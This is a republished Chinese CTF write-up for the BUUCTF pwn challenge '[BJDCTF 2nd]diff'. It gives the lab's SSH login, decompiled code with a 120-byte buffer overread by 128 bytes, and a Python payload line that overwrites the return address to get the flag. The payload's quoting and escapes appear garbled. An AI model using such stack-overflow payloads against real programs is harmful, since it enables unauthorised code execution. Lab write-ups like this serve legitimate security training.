CTF-Pwn-[BJDCTF 2nd]diff

Posted guizimo

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了CTF-Pwn-[BJDCTF 2nd]diff相关的知识,希望对你有一定的参考价值。

CTF-Pwn-[BJDCTF 2nd]diff

博客说明

文章所涉及的资料来自互联网整理和个人总结,意在于个人学习和经验汇总,如有什么地方侵权,请联系本人删除,谢谢!本文仅用于学习与交流,不得用于非法用途!

CTP平台

网址

https://buuoj.cn/challenges

题目

Pwn类,[BJDCTF 2nd]diff

技术图片

使用ssh远程连接Username: ctf Password: guest

思路

远程连接

ssh -p 29857 ctf@node3.buuoj.cn

技术图片

可以看到里面有一个文件diff,我们把它下载下来这里使用ssh协议的scp

scp -P 28708 ctf@node3.buuoj.cn:/home/ctf/diff /home/tanglei/Desktop/ctf/

技术图片

接下来我们来分析这个源文件

技术图片

然后使用ida32位打开它

技术图片

注意到compare函数里面有个漏洞

int __cdecl compare(int a1, int fd)
{
  char v2; // al
  int v4; // [esp+0h] [ebp-80h]
  unsigned int i; // [esp+4h] [ebp-7Ch]
  char addr[120]; // [esp+8h] [ebp-78h]

  v4 = 0;
  JUMPOUT(sys_read(fd, buf1, 0x80u), 0, &failed);
  JUMPOUT(sys_read(a1, addr, 0x80u), 0, &failed);
  for ( i = 0; addr[i] + buf1[i] && i < 0x400; ++i )
  {
    v2 = buf1[i];
    if ( v2 != addr[i] )
      return v4 + 1;
    if ( v2 == 10 )
      ++v4;
  }
  return 0;
}

里面addr长度为120,read读了128字节,很明显的栈溢出,有8个字节的溢出,buf1有可执行的权限,我们只要获取到buf1的地址并覆盖它,即可getshell

payload

看到网上的payload时这样写的

python -c "print ‘a‘*120+‘x5ex91x04x08x5ex91x04x08‘" >flag2

这个里面有python的命令,把payload写进第二个文件,就可以把flag爆出来,

执行./diff flag /tmp/flag2

完整命令
cd /tmp
/tmp$ python -c "print ‘a‘*120+‘x5ex91x04x08x5ex91x04x08‘" >flag2
/tmp$ cd ~
./diff flag /tmp/flag2

测试

已经找到flag,不过好像少了个f,补上就好

技术图片

感谢

BUUCTF

以及勤劳的自己

关注公众号: 归子莫,获取更多的资料,还有更长的学习计划

以上是关于CTF-Pwn-[BJDCTF 2nd]diff的主要内容,如果未能解决你的问题,请参考以下文章

[BJDCTF 2nd]文件探测

[BJDCTF 2nd]文件探测

[BJDCTF 2nd]简单注入

[BJDCTF 2nd]简单注入

[BJDCTF 2nd]简单注入

BJDCTF 2nd Writeup